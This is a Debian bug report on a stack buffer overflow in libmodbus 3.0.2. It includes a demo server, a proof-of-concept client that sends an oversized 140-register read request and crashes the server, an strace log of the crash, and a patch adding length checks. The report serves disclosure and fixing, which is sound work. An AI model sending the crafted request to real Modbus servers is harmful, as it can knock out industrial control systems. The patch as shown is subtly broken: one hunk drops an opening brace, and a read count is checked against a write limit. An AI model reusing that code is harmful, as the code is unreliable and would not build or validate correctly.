Package: libmodbus5 Version: 3.0.2-1 Severity: normal Tags: upstream patch Hi,
a Debian user reported crashes caused by buffer overflowing remote requests. The attached example server (server.c, port 15502) provides a 0x100 registers buffer. The example client (exploit.c) reads 140 registers at once which overflows the maximum of 125 and crashes the server (see the trace in libmodbus-crash.txt). The attached patch fixes it. Thanks to Josef Holzmayr for reporting and providing example code and the patch! Roland -- System Information: Debian Release: wheezy/sid APT prefers unstable APT policy: (500, 'unstable'), (500, 'testing') Architecture: i386 (x86_64) Kernel: Linux 3.2.0-1-amd64 (SMP w/2 CPU cores) Locale: LANG=en_US.utf8, LC_CTYPE=en_US.utf8 (charmap=UTF-8) Shell: /bin/sh linked to /bin/bash Versions of packages libmodbus5 depends on: ii libc6 2.13-26 libmodbus5 recommends no packages. libmodbus5 suggests no packages. -- no debconf information
#include <string.h> #include <stdlib.h> #include <errno.h> #include <signal.h> #include <modbus/modbus.h> #include <sys/socket.h> #include <netinet/in.h> #include <arpa/inet.h> modbus_t *ctx = NULL; int server_socket; modbus_mapping_t *mb_mapping; #define MODBUS_TCP_MAXCONNECTIONS 5 #define MODBUS_DATA_SIZE 0x100 static void close_sigint(int dummy) { close(server_socket); modbus_free(ctx); modbus_mapping_free(mb_mapping); exit(dummy); } int main(void) { int master_socket; int rc; fd_set refset; fd_set rdset; /* Maximum file descriptor number */ int fdmax; ctx = modbus_new_tcp("127.0.0.1", 15502); mb_mapping = modbus_mapping_new(0, 0, MODBUS_DATA_SIZE, 0); if (mb_mapping == NULL) { modbus_free(ctx); return -1; } server_socket = modbus_tcp_listen(ctx, MODBUS_TCP_MAXCONNECTIONS); signal(SIGINT, close_sigint); /* Clear the reference set of socket */ FD_ZERO(&refset); /* Add the server socket */ FD_SET(server_socket, &refset); /* Keep track of the max file descriptor */ fdmax = server_socket; for (;;) { rdset = refset; if (select(fdmax+1, &rdset, NULL, NULL, NULL) == -1) { close_sigint(1); } /* Run through the existing connections looking for data to be * read */ for (master_socket = 0; master_socket <= fdmax; master_socket++) { if (FD_ISSET(master_socket, &rdset)) { if (master_socket == server_socket) { /* A client is asking a new connection */ socklen_t addrlen; struct sockaddr_in clientaddr; int newfd; /* Handle new connections */ addrlen = sizeof(clientaddr); memset(&clientaddr, 0, sizeof(clientaddr)); newfd = accept(server_socket, (struct sockaddr *)&clientaddr, &addrlen); if (newfd != -1) { FD_SET(newfd, &refset); if (newfd > fdmax) { /* Keep track of the maximum */ fdmax = newfd; } } } else { /* An already connected master has sent a new query */ uint8_t query[MODBUS_TCP_MAX_ADU_LENGTH]; modbus_set_socket(ctx, master_socket); rc = modbus_receive(ctx, query); if (rc != -1) { modbus_reply(ctx, query, rc, mb_mapping); } else { /* Connection closed by the client, end of server */ close(master_socket); /* Remove from reference set */ FD_CLR(master_socket, &refset); if (master_socket == fdmax) { fdmax--; } } } } } } return 0; }
#include <stdio.h> #include <sys/types.h> #include <sys/socket.h> #include <netinet/in.h> #include <netdb.h> #include <string.h> int main() { int sd; struct sockaddr_in sin; struct sockaddr_in pin; struct hostent *hp; char challenge[] = "\x01\x00\x00\x00\x00\x06\x01\x03\x00\x00\x00\x8C"; hp = gethostbyname("localhost"); memset(&pin, 0, sizeof(pin)); pin.sin_family = AF_INET; pin.sin_addr.s_addr = ((struct in_addr *)(hp->h_addr))->s_addr; pin.sin_port = htons(15502); sd = socket(AF_INET, SOCK_STREAM, 0); connect(sd,(struct sockaddr *) &pin, sizeof(pin)); send(sd, challenge, 12, 0); close(sd); return 0; }
jd@tabr:~/src/libmodbus-exploit$ strace -x ./server execve("./server", ["./server"], [/* 57 vars */]) = 0 brk(0) = 0x1fc8000 access("/etc/ld.so.nohwcap", F_OK) = -1 ENOENT (No such file or directory) mmap(NULL, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x7f090adca000 access("/etc/ld.so.preload", R_OK) = -1 ENOENT (No such file or directory) open("/etc/ld.so.cache", O_RDONLY) = 3 fstat(3, {st_mode=S_IFREG|0644, st_size=139478, ...}) = 0 mmap(NULL, 139478, PROT_READ, MAP_PRIVATE, 3, 0) = 0x7f090ada7000 close(3) = 0 access("/etc/ld.so.nohwcap", F_OK) = -1 ENOENT (No such file or directory) open("/usr/local/lib/libmodbus.so.5", O_RDONLY) = 3 read(3, "\x7f\x45\x4c\x46\x02\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x03\x00\x3e\x00\x01\x00\x00\x00\x30\x27\x00\x00\x00\x00\x00\x00"..., 832) = 832 fstat(3, {st_mode=S_IFREG|0755, st_size=39296, ...}) = 0 mmap(NULL, 2134472, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_DENYWRITE, 3, 0) = 0x7f090a9a2000 mprotect(0x7f090a9aa000, 2097152, PROT_NONE) = 0 mmap(0x7f090abaa000, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x8000) = 0x7f090abaa000 close(3) = 0 access("/etc/ld.so.nohwcap", F_OK) = -1 ENOENT (No such file or directory) open("/lib/x86_64-linux-gnu/libc.so.6", O_RDONLY) = 3 read(3, "\x7f\x45\x4c\x46\x02\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x03\x00\x3e\x00\x01\x00\x00\x00\x20\x14\x02\x00\x00\x00\x00\x00"..., 832) = 832 fstat(3, {st_mode=S_IFREG|0755, st_size=1685816, ...}) = 0 mmap(NULL, 3801960, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_DENYWRITE, 3, 0) = 0x7f090a601000 mprotect(0x7f090a798000, 2093056, PROT_NONE) = 0 mmap(0x7f090a997000, 20480, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x196000) = 0x7f090a997000 mmap(0x7f090a99c000, 21352, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0x7f090a99c000 close(3) = 0 mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x7f090ada6000 mmap(NULL, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x7f090ada4000 arch_prctl(ARCH_SET_FS, 0x7f090ada4720) = 0 mprotect(0x7f090a997000, 16384, PROT_READ) = 0 mprotect(0x7f090abaa000, 4096, PROT_READ) = 0 mprotect(0x601000, 4096, PROT_READ) = 0 mprotect(0x7f090adcc000, 4096, PROT_READ) = 0 munmap(0x7f090ada7000, 139478) = 0 brk(0) = 0x1fc8000 brk(0x1fe9000) = 0x1fe9000 socket(PF_INET, SOCK_STREAM, IPPROTO_TCP) = 3 setsockopt(3, SOL_SOCKET, SO_REUSEADDR, [1], 4) = 0 bind(3, {sa_family=AF_INET, sin_port=htons(15502), sin_addr=inet_addr("0.0.0.0")}, 16) = 0 listen(3, 5) = 0 rt_sigaction(SIGINT, {0x400a14, [INT], SA_RESTORER|SA_RESTART, 0x7f090a637420}, {SIG_DFL, [], 0}, 8) = 0 select(4, [3], NULL, NULL, NULL) = 1 (in [3]) accept(3, {sa_family=AF_INET, sin_port=htons(1725), sin_addr=inet_addr("192.168.3.156")}, [16]) = 4 select(5, [3 4], NULL, NULL, NULL) = 1 (in [4]) select(5, [4], NULL, NULL, NULL) = 1 (in [4]) recvfrom(4, "\x01\x00\x00\x00\x00\x06\x01\x03", 8, 0, NULL, NULL) = 8 select(5, [4], NULL, NULL, {0, 500000}) = 1 (in [4], left {0, 499997}) recvfrom(4, "\x00\x00\x00\x8c", 4, 0, NULL, NULL) = 4 sendto(4, "\x01\x00\x00\x00\x01\x1b\x01\x03\x18\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"..., 289, MSG_NOSIGNAL, NULL, 0) = 289 open("/dev/tty", O_RDWR|O_NOCTTY|O_NONBLOCK) = 5 writev(5, [{"*** ", 4}, {"stack smashing detected", 23}, {" ***: ", 6}, {"./server", 8}, {" terminated\n", 12}], 5*** stack smashing detected ***: ./server terminated ) = 53 open("/etc/ld.so.cache", O_RDONLY) = 6 fstat(6, {st_mode=S_IFREG|0644, st_size=139478, ...}) = 0 mmap(NULL, 139478, PROT_READ, MAP_PRIVATE, 6, 0) = 0x7f090ada7000 close(6) = 0 access("/etc/ld.so.nohwcap", F_OK) = -1 ENOENT (No such file or directory) open("/lib/x86_64-linux-gnu/libgcc_s.so.1", O_RDONLY) = 6 read(6, "\x7f\x45\x4c\x46\x02\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x03\x00\x3e\x00\x01\x00\x00\x00\xb0\x28\x00\x00\x00\x00\x00\x00"..., 832) = 832 fstat(6, {st_mode=S_IFREG|0644, st_size=88384, ...}) = 0 mmap(NULL, 2184216, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_DENYWRITE, 6, 0) = 0x7f090a3eb000 mprotect(0x7f090a400000, 2093056, PROT_NONE) = 0 mmap(0x7f090a5ff000, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 6, 0x14000) = 0x7f090a5ff000 close(6) = 0 mprotect(0x7f090a5ff000, 4096, PROT_READ) = 0 munmap(0x7f090ada7000, 139478) = 0 write(5, "======= Backtrace: =========\n", 29======= Backtrace: ========= ) = 29 writev(5, [{"/lib/x86_64-linux-gnu/libc.so.6", 31}, {"(", 1}, {"__fortify_fail", 14}, {"+0x", 3}, {"37", 2}, {")", 1}, {"[0x", 3}, {"7f090a6fb4f7", 12}, {"]\n", 2}], 9/lib/x86_64-linux-gnu/libc.so.6(__fortify_fail+0x37)[0x7f090a6fb4f7] ) = 69 writev(5, [{"/lib/x86_64-linux-gnu/libc.so.6", 31}, {"(", 1}, {"__fortify_fail", 14}, {"+0x", 3}, {"0", 1}, {")", 1}, {"[0x", 3}, {"7f090a6fb4c0", 12}, {"]\n", 2}], 9/lib/x86_64-linux-gnu/libc.so.6(__fortify_fail+0x0)[0x7f090a6fb4c0] ) = 68 writev(5, [{"/usr/local/lib/libmodbus.so.5", 29}, {"(", 1}, {"+0x", 3}, {"3a08", 4}, {")", 1}, {"[0x", 3}, {"7f090a9a5a08", 12}, {"]\n", 2}], 8/usr/local/lib/libmodbus.so.5(+0x3a08)[0x7f090a9a5a08] ) = 55 writev(5, [{"./server", 8}, {"[0x", 3}, {"400e36", 6}, {"]\n", 2}], 4./server[0x400e36] ) = 19 write(5, "======= Memory map: ========\n", 29======= Memory map: ======== ) = 29 open("/proc/self/maps", O_RDONLY) = 6 read(6, "00400000-00402000 r-xp 00000000 "..., 1024) = 1024 write(5, "00400000-00402000 r-xp 00000000 "..., 102400400000-00402000 r-xp 00000000 08:13 8651167 /home/jd/src/libmodbus-exploit/server 00601000-00602000 r--p 00001000 08:13 8651167 /home/jd/src/libmodbus-exploit/server 00602000-00603000 rw-p 00002000 08:13 8651167 /home/jd/src/libmodbus-exploit/server 01fc8000-01fe9000 rw-p 00000000 00:00 0 [heap] 7f090a3eb000-7f090a400000 r-xp 00000000 00:11 8032 /lib/x86_64-linux-gnu/libgcc_s.so.1 7f090a400000-7f090a5ff000 ---p 00015000 00:11 8032 /lib/x86_64-linux-gnu/libgcc_s.so.1 7f090a5ff000-7f090a600000 r--p 00014000 00:11 8032 /lib/x86_64-linux-gnu/libgcc_s.so.1 7f090a600000-7f090a601000 rw-p 00015000 00:11 8032 /lib/x86_64-linux-gnu/libgcc_s.so.1 7f090a601000-7f090a798000 r-xp 00000000 00:11 3837944 /lib/x86_64-linux-gnu/libc-2.13.so 7f090a798000-7f090a997000 ---p 00197000 00:11 3837944 ) = 1024 read(6, " /lib/x86_64-linux-gnu/libc"..., 1024) = 1024 write(5, " /lib/x86_64-linux-gnu/libc"..., 1024 /lib/x86_64-linux-gnu/libc-2.13.so 7f090a997000-7f090a99b000 r--p 00196000 00:11 3837944 /lib/x86_64-linux-gnu/libc-2.13.so 7f090a99b000-7f090a99c000 rw-p 0019a000 00:11 3837944 /lib/x86_64-linux-gnu/libc-2.13.so 7f090a99c000-7f090a9a2000 rw-p 00000000 00:00 0 7f090a9a2000-7f090a9aa000 r-xp 00000000 00:11 3885135 /usr/local/lib/libmodbus.so.5.0.1 7f090a9aa000-7f090abaa000 ---p 00008000 00:11 3885135 /usr/local/lib/libmodbus.so.5.0.1 7f090abaa000-7f090abab000 r--p 00008000 00:11 3885135 /usr/local/lib/libmodbus.so.5.0.1 7f090abab000-7f090abac000 rw-p 00009000 00:11 3885135 /usr/local/lib/libmodbus.so.5.0.1 7f090abac000-7f090abcd000 r-xp 00000000 00:11 3837941 /lib/x86_64-linux-gnu/ld-2.13.so 7f090ada4000-7f090ada7000 rw-p 00000000 00:00 0 7f090adca000-7f090adcc000 rw-p 00000000 00:00 0 7f090adcc000-7f090adcd000 r--p 00020000 00:11 3837941 /lib/x86_64-l) = 1024 read(6, "inux-gnu/ld-2.13.so\n7f090adcd000"..., 1024) = 371 write(5, "inux-gnu/ld-2.13.so\n7f090adcd000"..., 371inux-gnu/ld-2.13.so 7f090adcd000-7f090adcf000 rw-p 00021000 00:11 3837941 /lib/x86_64-linux-gnu/ld-2.13.so 7fff7235e000-7fff7237f000 rw-p 00000000 00:00 0 [stack] 7fff723ff000-7fff72400000 r-xp 00000000 00:00 0 [vdso] ffffffffff600000-ffffffffff601000 r-xp 00000000 00:00 0 [vsyscall] ) = 371 read(6, "", 1024) = 0 close(6) = 0 rt_sigprocmask(SIG_UNBLOCK, [ABRT], NULL, 8) = 0 gettid() = 9183 tgkill(9183, 9183, SIGABRT) = 0 --- SIGABRT (Aborted) @ 0 (0) --- +++ killed by SIGABRT +++ Abgebrochen
>From e0d5540cca53108164f6a41df456fea7682252d0 Mon Sep 17 00:00:00 2001 From: Josef Holzmayr <holzm...@rsi-elektrotechnik.de> Date: Mon, 19 Mar 2012 22:02:36 +0100 Subject: [PATCH] Add length checks to multiple read/write commands --- src/modbus.c | 22 +++++++++++++++------- 1 file changed, 15 insertions(+), 7 deletions(-) diff --git a/src/modbus.c b/src/modbus.c index 2860d29..ccee878 100644 --- a/src/modbus.c +++ b/src/modbus.c @@ -662,7 +662,8 @@ int modbus_reply(modbus_t *ctx, const uint8_t *req, case _FC_READ_COILS: { int nb = (req[offset + 3] << 8) + req[offset + 4]; - if ((address + nb) > mb_mapping->nb_bits) { + if ((address + nb) > mb_mapping->nb_bits || + nb > MODBUS_MAX_READ_BITS) { if (ctx->debug) { fprintf(stderr, "Illegal data address %0X in read_bits\n", address + nb); @@ -684,7 +685,8 @@ int modbus_reply(modbus_t *ctx, const uint8_t *req, * function) */ int nb = (req[offset + 3] << 8) + req[offset + 4]; - if ((address + nb) > mb_mapping->nb_input_bits) { + if ((address + nb) > mb_mapping->nb_input_bits || + nb > MODBUS_MAX_READ_BITS) { if (ctx->debug) { fprintf(stderr, "Illegal data address %0X in read_input_bits\n", address + nb); @@ -704,7 +706,8 @@ int modbus_reply(modbus_t *ctx, const uint8_t *req, case _FC_READ_HOLDING_REGISTERS: { int nb = (req[offset + 3] << 8) + req[offset + 4]; - if ((address + nb) > mb_mapping->nb_registers) { + if ((address + nb) > mb_mapping->nb_registers || + nb > MODBUS_MAX_READ_REGISTERS) { if (ctx->debug) { fprintf(stderr, "Illegal data address %0X in read_registers\n", address + nb); @@ -729,7 +732,8 @@ int modbus_reply(modbus_t *ctx, const uint8_t *req, * function) */ int nb = (req[offset + 3] << 8) + req[offset + 4]; - if ((address + nb) > mb_mapping->nb_input_registers) { + if ((address + nb) > mb_mapping->nb_input_registers || + nb > MODBUS_MAX_READ_REGISTERS) { if (ctx->debug) { fprintf(stderr, "Illegal data address %0X in read_input_registers\n", address + nb); @@ -797,7 +801,8 @@ int modbus_reply(modbus_t *ctx, const uint8_t *req, case _FC_WRITE_MULTIPLE_COILS: { int nb = (req[offset + 3] << 8) + req[offset + 4]; - if ((address + nb) > mb_mapping->nb_bits) { + if ((address + nb) > mb_mapping->nb_bits || + nb > MODBUS_MAX_WRITE_BITS) if (ctx->debug) { fprintf(stderr, "Illegal data address %0X in write_bits\n", address + nb); @@ -819,7 +824,8 @@ int modbus_reply(modbus_t *ctx, const uint8_t *req, case _FC_WRITE_MULTIPLE_REGISTERS: { int nb = (req[offset + 3] << 8) + req[offset + 4]; - if ((address + nb) > mb_mapping->nb_registers) { + if ((address + nb) > mb_mapping->nb_registers || + nb > MODBUS_MAX_WRITE_REGISTERS) { if (ctx->debug) { fprintf(stderr, "Illegal data address %0X in write_registers\n", address + nb); @@ -873,7 +879,9 @@ int modbus_reply(modbus_t *ctx, const uint8_t *req, int nb_write = (req[offset + 7] << 8) + req[offset + 8]; if ((address + nb) > mb_mapping->nb_registers || - (address_write + nb_write) > mb_mapping->nb_registers) { + (address_write + nb_write) > mb_mapping->nb_registers || + nb > MODBUS_MAX_RW_WRITE_REGISTERS || + nb_write > MODBUS_MAX_RW_WRITE_REGISTERS) { if (ctx->debug) { fprintf(stderr, "Illegal data read address %0X or write address %0X write_and_read_registers\n", -- 1.7.9.4